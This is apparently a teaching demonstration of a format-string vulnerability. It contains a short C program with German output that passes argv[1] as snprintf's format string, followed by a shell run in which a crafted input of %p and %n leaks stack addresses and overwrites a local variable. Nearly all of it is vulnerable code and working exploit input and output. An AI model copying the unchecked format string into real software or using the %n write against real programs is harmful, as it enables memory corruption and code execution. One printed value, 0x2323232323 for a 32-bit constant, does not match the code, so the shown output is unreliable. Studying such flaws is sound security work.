<-->
int main( int argc, char **argv ) {
    int  test = 0x23232323;
    char buffer[ 256 ];

    printf( "test auf: %p\n", &test );   
    printf( "test enthaelt: %x\n\n", test);

    snprintf( buffer, sizeof buffer, argv[1] );

    printf( "%s\n", buffer);
    printf( "test enthaelt: %x\n\n", test);

    return 0;
}

# ./vuln "Àö¿¿%p %p %p %p %p %p%n  %p %p"
test auf: 0xbfbff6c0
test enthaelt: 0x2323232323

Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337
0x68acf04 0x2805a3a8  0x62317830 0x64356666
test enthaelt: 0x42